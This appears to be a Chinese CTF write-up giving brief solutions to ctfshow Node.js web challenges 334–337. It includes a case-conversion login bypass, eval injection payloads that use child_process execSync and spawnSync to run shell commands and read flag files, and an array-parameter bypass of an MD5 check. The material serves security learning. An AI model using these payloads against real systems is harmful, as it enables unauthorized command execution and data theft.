ctfshow web入门 nodejs web334--web337

web334

有个文件下载之后改后缀为zip加压就可以得到两个文件
一个文件类似于index.php 还有一个就是登录密码登录成功就有flag

username:ctfshow
password:123456

因为

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
这个toUpperCase()可以转大写

web335

在这里插入图片描述
查看源代码看到了eval可以进行rce只不过和PHP不同的是函数

?eval=require('child_process').execSync('cat f*')
使用这个child_process类里面的execSync方法

web336

spawnSync()会同步创建一个子进程执行我们传入的命令,并且返回一个对象.

?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
不知道为啥这道题就一定要stdout.toString(),这个的作用是标准的输出并且转化为字符串

web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;         //GET请求
  var b = req.query.b;        //GET请求
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});   //渲染模板,回显tql在index
  }
  
});

module.exports = router;
数组绕过
?a[]=1&b[]=1

相关推荐

  1. ABC337(A-C)

    2024-07-09 16:50:13       38 阅读
  2. Leetcode 337 打家劫舍 III

    2024-07-09 16:50:13       26 阅读
  3. web server apache tomcat11-33-CDI

    2024-07-09 16:50:13       17 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-09 16:50:13       4 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-09 16:50:13       5 阅读
  3. 在Django里面运行非项目文件

    2024-07-09 16:50:13       4 阅读
  4. Python语言-面向对象

    2024-07-09 16:50:13       4 阅读

热门阅读

  1. VSCode + 阿里云OSS + 图床插件Picgo

    2024-07-09 16:50:13       14 阅读
  2. 【Hive实战】HiveMetaStore的指标采集告警

    2024-07-09 16:50:13       10 阅读
  3. 设计模式简单示例

    2024-07-09 16:50:13       14 阅读
  4. CSS里的几个小知识

    2024-07-09 16:50:13       13 阅读
  5. 社交媒体原生应用开发:Facebook的创新之路

    2024-07-09 16:50:13       12 阅读
  6. Gunicorn+Flask+Docker初体验

    2024-07-09 16:50:13       10 阅读
  7. 常用目标检测的格式转换脚本文件txt,json等

    2024-07-09 16:50:13       12 阅读
  8. 信息收集-arping

    2024-07-09 16:50:13       10 阅读
  9. flutter如何实现点击一文字后 打开对应的超链接

    2024-07-09 16:50:13       10 阅读